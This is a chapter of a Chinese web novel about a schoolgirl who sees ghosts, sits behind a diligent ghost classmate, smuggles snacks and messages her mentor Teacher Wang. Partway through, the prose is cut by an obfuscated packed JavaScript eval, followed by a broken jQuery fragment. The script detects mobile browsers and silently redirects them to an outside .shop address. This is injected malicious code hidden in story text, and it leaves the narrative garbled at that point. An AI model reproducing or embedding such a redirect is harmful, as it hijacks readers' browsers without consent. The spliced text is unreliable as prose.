上午的柏清晓还在感叹现在连鬼都在卷学习,她隔着好几行都能瞥见这个鬼做的笔记,那叫一个工整有条理。
甚至柏清晓中午吃饭的时候都在想,这学校人杰地灵就算了,毕竟历代校友有不少知名人物,什么教授,CEO等等。
这高中的鬼也是鬼杰地灵啊,上能连翻十几个跟头,下能在学校认真学习。
等到下午最后一节自习还有十分钟结束的时候,马老师突然推开教室门,见没有人抬头理她,又敲了敲门,说:“同学们,这个座位咱们也坐了一周,一会下了这节课,也就是放学的时候大家把座位轮换一下。”说完便转身走了。
柏清晓见马老师走了,才缓缓把藏在桌兜里的手拿了出来,同时拿出来的还有一包刚撕开,油快滴到手上的辣条。
“蒸试的,布照说咬换桌位。”柏清晓咽下口中的辣条,又把包装里剩的几根扔进嘴里,嚼两下便咽了。
“害得我吃个辣条还得打游击战。”她自言自语道,手里还不忘收拾书。
一下课,手速快的同学已经背上了书包,把桌子推向轮换的座位,期间不断有桌子腿与地板摩擦产生的噪音,也丝毫影响不了那位鬼同学,它仍是安分地坐在那里不知在写些什么。
柏清晓看见前排的同学推着桌子换了位置,跟着把自己的位置往前推,稍稍一抬头,那位鬼同学就坐在她前面。
柏清晓:这辈子没想过还能和鬼做前后桌。
住校生需要额外上一个晚自习,但是因为时间太晚,也只有宿管阿姨会来转一圈,而阿姨也大都对同学们睁一只眼闭一只眼。
柏清晓深知这一点,所以在她简单思考过后,她决定为了自己的肚子和嘴拼一把。
她要跟着跑校生出校门,然后偷偷把零食从外面拿进来。
这个时候就彰显柏清晓说干就干的执行力了,首先,她混在三五个人后面出了校门。
这时候她又感觉有点心慌,便把校服上的帽子戴了起来,鬼鬼祟祟的走到文具店门口。
其次,柏清晓进了文具店,本想拿了零食就走,奈何她的打扮有点过,要不是隐隐看到衣服上的校徽,文具店店主都以为是小偷来了。
柏清晓见店主被吓到,才几句话说明来意,把零食取走,接着大步走回学校,把零食挂在了学校的围栏上。
最后,柏清晓又跟着几个忘拿作业,要回教室取的人回到了校园,卡着宿管查自习人数的时间,悄悄带着零食回到教室。
宿管点完人数便离开了,柏清晓终于忍无可忍,从包里掏出一包面包大快朵颐。
伴随着背课文的声音。
大抵是因为马老师说第二天一早要查背诵成果的缘故,柏清晓从一进教室就听见鬼同学不停地背诵那篇课文。
柏清晓左眼盯着面包,防止一不小心喂错位置,塞进鼻子里;右眼负责放哨,安静地盯着教室门,只要有老师来便制止手进行喂食动作;就连她的阴阳眼也没歇着,上下打量着她的新前桌,也就是鬼同学。
这位同学有些清瘦,身高也比一般男同学矮两指,且可能因为自身是鬼的,皮肤有些白,浑身上下透露着一种奋斗的气息。
它倒不是什么凶鬼,凶鬼身上大都有一种煞气,而鬼同学没有。这样想着,柏清晓又将视线下移。
鬼同学手里捧着的课本封面写着:夏元白。
柏清晓猜测这大概是它的名字,才收回视线,把面包最后一块塞进嘴里,口腔内顿时变得鼓鼓囊囊,拿起水杯就往嘴里灌水,才把面包送进胃中的。
做完这一切,柏清晓才终于拿出课本,像和尚念经一般开始咿咿呀呀地背诵课文。
第二天。
柏清晓跑完操坐在座位上,感觉身体已经被掏空,像一条鱼干晾在椅子上。
前面的鬼同学,也就是夏元白还在背诵课文,也是托它的福,柏清晓昨晚做梦都在听着背诵声背课文,早上起来就已经背个差不多,不说七七八八也有九九十十。
没过两分钟,马老师就进了教室,一句话也没说,走到讲桌前拿起抽签桶,随手摇晃两下,抽出了第一根签。
柏清晓:“别是我别是我别是我。”
马老师将签子凑到眼镜下,念出了被抽中签上的名字:“柏清晓。”
柏清晓站起来,心里想怎么偏偏抽中自己,嘴上却没敢停:“子路,曾皙,冉有公西华侍坐,子曰……”
等到最后一个字从柏清晓嘴里滚出来,马老师严厉的神色才稍稍缓和,示意她坐下,便又从抽签桶里抽下一位幸运同学。
好不容易熬过抽查的的早读,柏清晓靠着椅背,跟她隔了一条过道的舍友说:“大早上吓死我了。”
舍友点点头,道:“我也是啊,背会了也紧张,谁知道她一句话不说直接开抽。”
“我还一直在心里说别是我,结果最后又被抽中了。”话毕,柏清晓轻轻呼出一口气。
“你下次可以想抽到我抽到我抽到我,我就是这样想,这次没被抽到。”
“那我下次试试。”
没想到不用下次,第一节课的老师决定,抽人展示作业。
柏清晓:“虽然知道这是纯概率问题,但我还是想,抽到我抽到我抽到我。”
这回抽签桶满足了柏清晓这个微小的愿望,她也只好拖着不可置信的脚步展示自己的作业。
这样痛苦的日子并没有持续很久。
伴随着前桌夏元白每天奋斗的身影,柏清晓也不好意思真做一条被晾晒的鱼干,跟着鬼同学的脚步,每天认真学习。
除了零食周中就吃完的噩耗外,她还是比较快乐地度过了五天工作日。
回到家中,柏清晓想着夏元白奋笔疾书的身影,给王老师发去了消息。
柏清晓:王老师,有没有哪种鬼是爱学习,比较有奋斗精神的?
王老师:你要考试了么,准备请鬼上身啊。
柏清晓看到王老师的消息,强忍着翻白眼的冲动,打完了剩下的字。
柏清晓:不是,我碰见一个这样的,还是头一回见。
王老师:正常,人间百态,鬼也自然有很多种,爱睡觉的爱学习的,我甚至碰见过一个爱模仿猫咪的鬼。
柏清晓:?
扣完问号,柏清晓就
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17760433|209594||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
没再理王老师,乖乖翻开作业,顺便点了一下要写的页数。
女娲补天。
柏清晓深吸一口气,才拿出笔开始补天,从周五晚上七点回家,一口气写到周六早上三点结束。
临睡前看了一眼手机,才发现王老师给她发的一条消息。
王老师:以前你小我也就没问你,你好像并不怎么怕鬼,反而有点好奇,为什么?
柏清晓这时已经困得快晕过去了,自己都不知道回了些什么就沉沉睡去了。
而另一边正赢大米的王老师看见柏清晓回复了自己,迅速把手里几张牌打出去,点开了她回的消息。
柏清晓:五君威,海帕,西瓜。。
王老师揉揉眼睛,又退出聊天界面,反复操作几回才确定是柏清晓打错了,再看看时间,估摸着她是太困,打字打岔了。
而睡着的柏清晓再梦里见到了自己见的第一只鬼。
那是一只狗,是她发烧时笑话她的狗。
这只狗是乡下很常见的大黄,柏清晓第一次见到她在发烧之前,它总喜欢围着柏清晓转圈,如果柏清晓摸摸它的头,它的尾巴便飞速旋转。
那时候她还小,便管这只狗叫黄。
她一开始没有意思到黄是一只鬼,只当它是普通的大狗。
柏清晓最喜欢和黄玩石头剪刀布,黄的爪子永远是布,她只要出剪刀就可以一直赢,简单幼稚,但很开心。
她甚至和黄玩过家家,一般是柏清晓做老师,黄做学生,或者柏清晓当妈妈,黄做孩子。
但越玩到后面,柏清晓越觉得黄粘人。
自己睡觉,黄就“汪汪”叫,要让柏清晓陪她玩,自己出门,黄就可怜兮兮的跟在后面,尾巴也不再摇晃。它越来越渴望能多和柏清晓玩一段时间。
柏清晓发烧那天,黄最后对她笑了一次,就再也没回来。
大概是投胎去了吧。
“嗡——嗡——”一阵急促的电话铃响起,惊醒了睡梦中的柏清晓,她拿起手机一看,骚扰电话,便给这个号码提供了挂断拉黑删除一条龙服务。
只是这下柏清晓再也睡不着了,她想着小时候和黄玩的事情,打算再给王老师回两句消息。
点开消息框,柏清晓对着“五君威,海帕,西瓜。。”七个字,努力回想自己昨天是怎么打的字,又试图长按撤回这条消息。
柏清晓看着着些字,只能用自己的装瞎来逼迫自己把原本要说的给王老师发了过去。
柏清晓:我遇见的第一个鬼比较友善吧,第一印象还是很重要的,它让我对整个鬼群体都抱有一种友善的态度。
柏清晓:我其实也比较敬畏鬼,但是害怕我觉得我自己不至于,一是见惯了,二是人都有那么一天。
过了半分钟王老师便回复了她。
王老师:嗯嗯。
王老师:[图片.jpg]
王老师:看我赢的大米。
柏清晓看着王老师回复的消息,心想自己还那么认真回他,结果他却忙着赢大米,又给他发过去一条消息。
柏清晓:加个清炒土豆丝,我改天去吃。